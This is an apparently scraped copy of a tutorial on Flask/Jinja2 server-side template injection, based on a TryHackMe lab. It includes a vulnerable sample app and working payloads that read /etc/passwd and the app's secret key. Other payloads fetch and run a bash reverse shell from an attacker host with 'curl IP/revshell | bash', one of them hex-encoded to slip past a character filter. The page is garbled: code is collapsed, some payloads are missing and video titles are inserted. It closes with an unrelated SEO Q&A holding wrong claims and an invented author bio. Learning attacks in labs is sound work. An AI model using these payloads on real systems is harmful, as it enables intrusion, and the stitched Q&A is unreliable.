A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example (2023)

Flask, a lightweight Python web application framework, is one of my favorite and most-used tools. While it is great for building simple APIs and microservices, it can also be used for fully-fledged web applications relying on server-side rendering. To so, Flask depends on the powerful and popular Jinja2 templating engine.

I recently stumbled across Flask in the context of @toxicat0r’s new Temple room on TryHackMe. While the room also features some other interesting things, at its core, it is all about a Server-Side Template Injection (SSTI) attack.

While not as common as SQLi, LFI/RFI, or XSS, Server-Side Template Injection is a very interesting and dangerous attack vector that is often overlooked when developing web applications.

Fundamentally, SSTI is all about misusing the templating system and syntax to inject malicious payloads into templates. As these are rendered on the server, they provide a possible vector for remote code execution. For a more thorough introduction, definitely have a look at this great article by PortSwigger.

In this article, after an introduction to some fundamental technical concepts, we are going to look at an SSTI example using a simplified version of the Temple room.

Some Fundamentals: Flask, Jinja2, Python

Before going into the actual example, we will look at a few fundamentals. First, we will briefly look at Flask and Jinja2 before looking at how we can navigate through Python’s object inheritance tree.

Flask and Jinja2

Jinja2 is a powerful templating engine used in Flask. While it does many more things, it essentially allows us to write HTML templates with placeholders that are later dynamically populated by the application.

<div> <h1>Article</h1> {{ article_text }}</div>

In the example above, we can see a a straightforward Jinja2 template. When rendering the template, Jina2 will dynamically replace `` with the corresponding variable.

In Flask, this would be used as follows:

@app.route('/index')def index(): article = ... return render_template('article.html', article_text=article)

We assume that the template is stored in a file called article.html. When this route is called, {{ article_text }} will be replaced with article before sending the content to the user.

In a similar fashion, we could also use render_template_string(template) to use a template string instead of a file. This is what you will see below.

Also, it is important to realize that Jinja2 has a quite elaborate templating syntax. Instead of just placeholders, we can also have, for example, loops and conditions in these templates. Most importantly, however, the {{ }} placeholders have access to the actual objects passed via Flask. If we are, for example, passing a list example_list, we can use {{ example_list[0] }} as we would in our regular Python code.

Navigating Python Objects and Inheritance Trees

In Python, everything is an object! While this is a fundamental property and feature of the language, we are going to focus on one very particular thing one can do: navigating the inheritance tree of objects and, thus, classes.

In the following example, we are trying to read a file called test.txt using _io.FileIO. However, instead of just using regular function calls, we will start from a str object and work our way to the _io.FileIO class.

While this does not make any sense in (most) regular programming, we will leverage this capability later:

We start with a simple str object. For now, we are using abc, but it could be any arbitrary string:

(Video) Python SSTI: Attack Flask framework using Jinja2 template engine

Now we access its __class__:



Going further, we access its __base__:


Now, we can look at all __subclasses__ of object. This will get us a long list of available Python classes.


In this list, we are now looking for the _io._IOBase class, which, in this example, sits at index 96 of the __subclasses__:



We need to go further to find the _io._RawIOBase class. Hence, we are repeating the same process as above:



Repeating the same process again, we can get to the desired _io.FileIO:



Finally, we can use this class to construct a file object and read our file:

(Video) Server-Side Template Injections Explained

Do not let this confuse or discourage you! Ultimately, we are still working with a regular file object. However, instead of just using, for example, open(), we navigated to it starting from a str object.

You should also be aware that many SSTI tutorials and cheat sheets demonstrate this using __subclasses__()[40]. This does rarely work today as Python 3 is using the new io modules for file objects.

Also, keep in mind that there are many ways to get to the same destination. This was, for demonstration purposes, a very extensive example. Feel free to explore better (i.e., shorter) ways of getting the same result!

Especially if you are looking at other examples, you will also come across Python’s Method Resolution Order (MRO). While the MRO, especially looking at differences between old-style and new-style classes, is very interesting, we primarily care for __mro__ right now. As per the documentation, “[t]his attribute is a tuple of classes that are considered when looking for base classes during method resolution.”

Put simply, while __subclassess__ can be used to go down inherited objects, __mro__ allows us to go back up the inheritance tree.

Here’s an example to demonstrate the concept as clearly as possible:

class A(object): def __repr__(self): return 'A'class B_one(A): def __repr__(self): return 'B'class B_two(A): def __repr__(self): return 'B'class C(B_one): def __repr__(self): return 'B'
A.__subclasses__()=> [__main__.B_one, __main__.B_two]

A is inherited by both B_one and B_two.

C has inherited B and hence also, albeit indirectly, A.

Temple on TryHackMe

As I said above, the inspiration for this article stems from a recent (October 2021) TryHackMe room by @toxicat0r that explores, besides other things, an SSTI in a Flask application.

While this is definitely not a writeup for Temple, I want to use the room to motivate the following as it presents a rather realistic scenario.

After a quite challenging enumeration phase, one can find a Flask-based web application which ultimately leads to a foothold on the server.

A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example (1)

In the application, there is an account page (see above) that displays some information about the current user. The actual vulnerability hides behind the Logged in as XXX field, which works by populating a Jinja2 template directly from a database.

For this example (see screenshot), an account was registered using {{6*7}} as the username. Instead of showing this as the username, the expression is rendered on the server and displayed as 42 in the application.

We are exploiting the fact that the template is rendered on the server by Jinja2. Using the templating syntax, we might be able to execute a malicious payload, instead of just a simple expression, during rendering.

Below you can see a stripped down, simplified version of the application present in Temple. While the SSTI is a key part of the challenge, this should not spoil the room completely.

(Video) Server Side Template Injection Understanding With Live Demo | Example | Attack | Payloads

from flask import Flask, abort, request, render_template_stringimport jinja2, re, hashlibapp = Flask(__name__)app.secret_key = b'SECRET_KEY'@app.route('/filter', methods=['GET'])def filter(): payload = request.args.get('payload') bad_chars = "'_#&;" if any(char in bad_chars for char in payload): abort(403) template = ''' <!DOCTYPE html> <html> <head> <title>No Filter</title> </head> <body> <p>''' + payload + '''</p> </body> </html>''' return render_template_string(template)@app.route('/no_filter', methods=['GET'])def no_filter(): payload = request.args.get('payload') template = ''' <!DOCTYPE html> <html> <head> <title>No Filter</title> </head> <body> <p>''' + payload + '''</p> </body> </html>''' return render_template_string(template)if __name__ == '__main__': app.run(host='', port=80, debug=False)

The actual room also features a character-based filter to prevent some characters (see bad_chars) from being used in payloads. This, while being relatively simplistic, is a common strategy to mitigate such attacks. In the following, we are going to explore how this vulnerability can be exploited and how we can bypass the filter.

Exploiting the SSTI

We are now going to use this example to demonstrate an actual SSTI attack. After a relatively simple PoC, we are going to read /etc/passwd and also gain a reverse shell.

Simple Proof-of-Concept

A trusted way of checking for SSTIs is to inject a simple expression which we expect to be executed/evaluated by the templating engine. To do so, we are using the {{ ... }} syntax native to Jinja2.

For example, as Jinja2 supports basic arithmetic expressions, we can test {{7*12}} as our payload:

A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example (2)

As we can see, the expression has been executed/evaluated, and we are seeing the result and not the initial payload.

This is also a nice example of how SSTI attacks fundamentally differ from XSS ones as the code is actually being executed on the server and not the client. That said, it is very easy to mistake SSTI for XSS if we are not using payloads for fuzzing that “change” after they are being evaluated by the templating engine.

Another, more useful, PoC is to read Flask’s config object like this:


It, for example, contains the application’s SECRET_KEY.

Traditional Exploitation

Unfortunately (?), we cannot directly execute (arbitrary) Python commands in a Jinja2 template. However, as seen above, we have access to some objects (e.g., config). Having access to these objects allows us to perform the trick we have learned above.


If we use the payload from above, we can read the /etc/passwd file as the code is being executed on the server by the templating engine. If you look closely, you will see that I have changed from 96 to 92 in order to reflect the new environment. In order to get there, you will have to first look at __base__.__subclasses__() and determine the correct index.

RCE Payload and Bypassing Filters

In a brilliant OnSecurity article, Gus Ralph presents a very clever RCE payload that leverages the fact that Flask/Jinja2 templates have the request object available to them.

Leveraging the same tricks, the following payload would execute id using Python’s os.popen():


In regular Python, we are just doing the following:

import osos.popen('id')
(Video) Server Side Template Injection - SSTI Vulnerability | Detailed Explanation and Practical🔥🔥[Hindi]

As we can see, the payload works, and we are seeing the output of id. For this example, I ran the application in a Kali VM.More importantly, this particular payload is not only relatively short, but we also do not need to find any specific index before running it.

A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example (3)

Of course, we can now modify the payload to do something more interesting. Below, we are using the same basic payload to download a script (revshell) from our attacker VM and execute it using bash.

#!/bin/bashbash -c "bash -i >& /dev/tcp/IP/4000 0>&1"

(revshell is just a simple revers shell)

{{request.application.__globals__.__builtins__.__import__('os').popen('curl IP/revshell | bash').read()}}

Bypassing Filters

If you remember, the actual Temple challenge featured a character-based filter which makes running such payloads quite a bit harder. More precisely, in our example, we cannot use any of these characters: '_#&;.

While we are going to look at this specific payload example, have a look at both HackTricks and PayloadsAllTheThings for a good overview of various bypassing strategies.

Alright! The modified payload, also heavily inspired by Gus Ralph, we are going to end up using will look like this:

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl IP:PORT/revshell | bash")|attr("read")()}}

This looks complicated! However, to bypass the filters, we are essentially only using two strategies: Leveraging the Jina2 attr() filter and hex encoding.

Let’s look at a sample portion of the payload: |attr("\x5f\x5fglobals\x5f\x5f").

The | indicates to Jija2 that we are applying a filter. The attr() filter “get[s] an attribute of an object”. As per the documentation, “foo|attr("bar") works like foo.bar.” \x5f is simply the hex representation of _.

A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example (4)

Combining these two strategies we can craft a payload that does not use any of the “forbidden” (i.e., bad/filtered) characters.

Above, you can see how the payload finally executes. First, revshell is downloaded from the Python http.server (attacker), and shortly after pwncat receives our new shell from the target. It’s also just quite satisfying to watch …


This article, very obviously, is not a thorough introduction to Server-Side Template Injection. However, I hope to have shown how this type of injection can easily become very dangerous. This is particularly problematic as many developers - me included - often focus on other more common types of injections.

Aside from the security implications, this is also a nice opportunity to experiment with Python and some of the awesome metaprogramming features it has to offer!

Finally, if you happen to be on TryHackMe, give Temple a go! It’s a challenging room that, aside from some almost frustrating enumeration, has quite a bit to offer!

(Video) Server-Side Template Injection w/ Flask | Flaskcards [34] picoCTF 2018

P.S. After trying to publish this post, I realized that my static site generator interpreted all of the {{ }} tags, and I had to go back escaping all of them. Way to go!


How do you use a Jinja2 Flask? ›

Flask leverages Jinja2 as its template engine. You are obviously free to use a different template engine, but you still have to install Jinja2 to run Flask itself. This requirement is necessary to enable rich extensions. An extension can depend on Jinja2 being present.

What is a server-side template? ›

Server-side templates allow developers to pre-populate a web page with custom user data directly on the server. After all, it is often faster to make all the requests within a server than to make extra browser-to-server roundtrips for them.

Where is a server-side template injection executed? ›

Server-side template injection occurs when user-controlled input is embedded into a server-side template, allowing users to inject template directives. This allows an attacker to inject malicious template directives and possibly execute arbitrary code on the affected server.

Does Jinja2 have Flask? ›

Flask comes packaged with Jinja2, and hence we just need to install Flask. For this series, I recommend using the development version of Flask, which includes much more stable command line support among many other features and improvements to Flask in general.

What is Jinja2 template in Flask? ›

Flask uses templates to expand the functionality of a web application while maintaining a simple and organized file structure. Templates are enabled using the Jinja2 template engine and allow data to be shared and processed before being turned in to content and sent back to the client.

What is Jinja2 template? ›

Jinja2 is a Python library that you can use to construct templates for various output formats from a core template text file. It can be used to create HTML templates for IBM® QRadar® applications.

How does template injection work? ›

Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. Template engines are designed to generate web pages by combining fixed templates with volatile data.

What is client-side template injection? ›

Description: Client-side template injection

Client-side template injection vulnerabilities arise when applications using a client-side template framework dynamically embed user input in web pages. When a web page is rendered, the framework will scan the page for template expressions, and execute any that it encounters.

What is Python template? ›

In python, template is a class of String module. It allows for data to change without having to edit the application. It can be modified with subclasses. Templates provide simpler string substitutions as described in PEP 292. Templates substitution is “$“-based substitutions, rather than “%“-based substitutions.

Can SSTI lead to RCE? ›

What is SSTI? Server-side template injection is a vulnerability where the attacker injects malicious input into a template to execute commands on the server-side. This vulnerability occurs when invalid user input is embedded into the template engine which can generally lead to remote code execution (RCE).

What are template engines used for? ›

A template engine enables you to use static template files in your application. At runtime, the template engine replaces variables in a template file with actual values, and transforms the template into an HTML file sent to the client. This approach makes it easier to design an HTML page.

Which of the following is a server-side templating software? ›

Some of the most commonly used server-side template engines are Jinja2 or Jinja, Freemaker, Mako, Velocity, Smarty, Tornado, Genshi, Twig, Mustache, etc.

What is Jinja2 template in Ansible? ›

Jinja2 templates are simple template files that store variables that can change from time to time. When Playbooks are executed, these variables get replaced by actual values defined in Ansible Playbooks. This way, templating offers an efficient and flexible solution to create or alter configuration file with ease.

What are Flask templates? ›

Templates are files that contain static data as well as placeholders for dynamic data. A template is rendered with specific data to produce a final document. Flask uses the Jinja template library to render templates. In your application, you will use templates to render HTML which will display in the user's browser.

Which three of the following filters are supported in Jinja2 templates? ›

In addition the ones provided by Jinja2, Ansible ships with it's own and allows users to add their own custom filters.
  • Filters For Formatting Data. ...
  • Set Theory Filters. ...
  • Random Number Filter. ...
  • Math. ...
  • Hashing filters. ...
  • Combining hashes/dictionaries. ...
  • Extracting values from containers. ...
  • Comment Filter.

How do you use jinja2 in Ansible? ›

On an ansible control node, write a jinja2 template file which can easily access the variables defined in the same directory or in playbook. Here, you can notice the value gets changed on the output. As {{ }} is also a syntax of jinja2 template, it can access the variable and change the value to the actual one.

How do you display dynamic data tables with Python Flask and jinja2? ›

How to display dynamic data tables with Python, Flask, and Jinja2

How do I render a Python template? ›

render_template is a Flask function from the flask. templating package. render_template is used to generate output from a template file based on the Jinja2 engine that is found in the application's templates folder. Note that render_template is typically imported directly from the flask package instead of from flask.

Which three features are included in the Jinja2 template? ›

  • sandboxed execution.
  • automatic HTML escaping to prevent cross-site scripting (XSS) attacks.
  • template inheritance.
  • compiles down to the optimal Python code just-in-time.
  • optional ahead-of-time template compilation.

Does Jinja2 work with Python 3? ›

Jinja2 works with Python 2.6. x, 2.7. x and >= 3.3. If you are using Python 3.2 you can use an older release of Jinja2 (2.6) as support for Python 3.2 was dropped in Jinja2 version 2.7.

What is Jinja template in airflow? ›

Templating in Airflow works exactly the same as templating with Jinja in Python: define your to-be-evaluated code between double curly braces, and the expression will be evaluated at runtime. As we saw in the previous code snippet, execution_date is a variable available at runtime.

What is HTML injection? ›

What is HTML Injection. HTML Injection also known as Cross Site Scripting. It is a security vulnerability that allows an attacker to inject HTML code into web pages that are viewed by other users.

What is command injection? ›

Command injection is a cyber attack that involves executing arbitrary commands on a host operating system (OS). Typically, the threat actor injects the commands by exploiting an application vulnerability, such as insufficient input validation.

What is uber template injection? ›

Template injection is a class of vulnerability that involves using template framework functionality in an unexpected way. These templating frameworks often have the ability to make system calls. In the event that untrusted user input is supplied to a template framework in a dangerous way, the result can be RCE.

What is Template injection in angular? ›

AngularJS client-side template injection vulnerabilities occur when user-input is dynamically embedded on a page where AngularJS client-side templating is used. By using curly braces it's possible to inject AngularJS expressions in the AngularJS client-side template that is being used by the application.

What is the templating engine being used within node JS? ›

EJS is one of the template engines used with Node JS to generate HTML markups with plain Javascript. EJS stands for Embedded JavaScript Templates.

What is XSS and how do you prevent it? ›

XSS is a client-side vulnerability that targets other application users, while SQL injection is a server-side vulnerability that targets the application's database. How do I prevent XSS in PHP? Filter your inputs with a whitelist of allowed characters and use type hints or type casting.

How do I use a template in flask? ›

html template file in a directory called templates inside your flask_app directory. Flask looks for templates in the templates directory, which is called templates , so the name is important. Make sure you're inside the flask_app directory and run the following command to create the templates directory: mkdir templates.

What is a template engine Python? ›

Template engines take in tokenized strings and produce rendered strings with values in place of the tokens as output. Templates are typically used as an intermediate format written by developers to programmatically produce one or more desired output formats, commonly HTML, XML or PDF.

Where can I write Python codes online? ›

Write, Run & Share Python code online using OneCompiler's Python online compiler for free. It's one of the robust, feature-rich online compilers for python language, supporting both the versions which are Python 3 and Python 2.7. Getting started with the OneCompiler's Python editor is easy and fast.

Are template engines Good? ›

Using template engines for complex front end rendering is bad and not a good practice.

Is templating engine necessary? ›

You need a template engine in order to interpolate data-bound values into your markup. They're still absolutely necessary with any non-static web application.

What is templating programming? ›

Template metaprogramming (TMP) is a metaprogramming technique in which templates are used by a compiler to generate temporary source code, which is merged by the compiler with the rest of the source code and then compiled.

Is Flask client-side or server-side? ›

From what I understand (I too just recently started learning web development) a web framework (like Flask and Django for Python or Rails for Ruby) is used to make the server-side scripting easier for the developer.

What are some commonly used client-side templating systems? ›

These templating options allow you to embed regular JavaScript code directly within the template, an approach similar to ERBs.
  • underscore.js.
  • Jade.
  • haml-js.
  • jQote2.
  • doT.
  • Stencil.
  • Parrot.
  • Eco.
Jan 17, 2012

What is a server-side web application? ›

Server-side scripts run on the server instead of the client, often in order to deliver dynamic content to webpages in response to user actions. Server-side scripts don't have to be written in JavaScript, since the server may support a variety of languages.

How Ansible is used in simple IT automation? ›

Ansible works by connecting to your nodes and pushing out small programs, called modules to them. Modules are used to accomplish automation tasks in Ansible. These programs are written to be resource models of the desired state of the system. Ansible then executes these modules and removes them when finished.

How do I use Ansible template module? ›

You can use Ansible facts, variables, and user-defined variables in your Jinja2 templates. On your Jinja2 template, you can print the value of a variable using the {{ variableName }} syntax. If the variable is an object, you can print individual object properties using the {{ objectVariable. propertyName }} syntax.

How do you write a Flask code in HTML? ›

Render HTML file in Flask
  1. First, create a new folder in the project directory called templates. Create a new file in the templates folder naming “home. html”. Copy/paste this simple code. ...
  2. Now open app.py and add the following code. from flask import Flask, render_template. app = Flask(__name__) @app.

How do you structure a Flask project? ›

Project Layout
  1. flaskr/ , a Python package containing your application code and files.
  2. tests/ , a directory containing test modules.
  3. venv/ , a Python virtual environment where Flask and other dependencies are installed.
  4. Installation files telling Python how to install your project.
  5. Version control config, such as git.

What is static and template in Flask? ›

Folder structure for a Flask app

That folder contains two folders, specifically named static and templates. The static folder contains assets used by the templates, including CSS files, JavaScript files, and images.

How do I set variables in Jinja2? ›

  1. Store value in a variable in jinja template for later use.
  2. Case statement for setting var in Ansible/Jinja2.
  3. Reference template variable within Jinja expression.
  4. Substring at flask template.

Which two delimiters are allowed in Jinja2 templates choose two? ›

There are different kinds of delimiters that are defined in Jinja2.
  • {% ... %} for conditions, expressions that will be evaluated.
  • {{ ... }} for values to print to the template output.
  • {# ... #} for comments not included in the template output.
  • # ... ## for line statements.
Mar 22, 2019

What is Jinja file extension? ›

A Jinja template doesn't need to have a specific extension: . html, . xml, or any other extension is just fine.

How do you escape jinja2? ›

To escape jinja2 syntax in a jinja2 template with Python Flask, we can put render the template code without interpretation by putting the code in the {% raw %} block.

How do I render a template in Flask? ›

Make sure you have activated your environment and have Flask installed, and then you can start building your application. The first step is to display a message that greets visitors on the index page. You'll use Flask's render_template() helper function to serve an HTML template as the response.

How do I render a page in Flask? ›

Render HTML file in Flask
  1. First, create a new folder in the project directory called templates. Create a new file in the templates folder naming “home. html”. Copy/paste this simple code. ...
  2. Now open app.py and add the following code. from flask import Flask, render_template. app = Flask(__name__) @app.

How do you Flask an app? ›

How to set up your Python and Flask development environment
  1. Choose a Python version. ...
  2. Install a text editor or IDE. ...
  3. Start a new project with virtualenv. ...
  4. Install Flask and the Twilio Python SDK. ...
  5. Create a simple Flask application. ...
  6. The Django Alternative. ...
  7. Install ngrok.
Sep 24, 2021


1. Server Side Template Injection (SSTI): All-in-One
2. web hacking: python Jinja2 SSTI vulnerability and code execution
(Kandy Phan)
3. hacking RCE & SSTI remote code execution and server side template injection vulnerabilities of Flask
(Code Monkey King)
4. SSTI (Server Side Template Injection)
(Sam Bowne)
5. How to get SSH private-key in webserver for using SSTI (Server Side Template Injection) in Flask
(0x66 Security)
6. Basic server side template injection (Video solution)
(Michael Sommer)
Top Articles
Latest Posts
Article information

Author: Stevie Stamm

Last Updated: 12/12/2022

Views: 5559

Rating: 5 / 5 (80 voted)

Reviews: 87% of readers found this page helpful

Author information

Name: Stevie Stamm

Birthday: 1996-06-22

Address: Apt. 419 4200 Sipes Estate, East Delmerview, WY 05617

Phone: +342332224300

Job: Future Advertising Analyst

Hobby: Leather crafting, Puzzles, Leather crafting, scrapbook, Urban exploration, Cabaret, Skateboarding

Introduction: My name is Stevie Stamm, I am a colorful, sparkling, splendid, vast, open, hilarious, tender person who loves writing and wants to share my knowledge and understanding with you.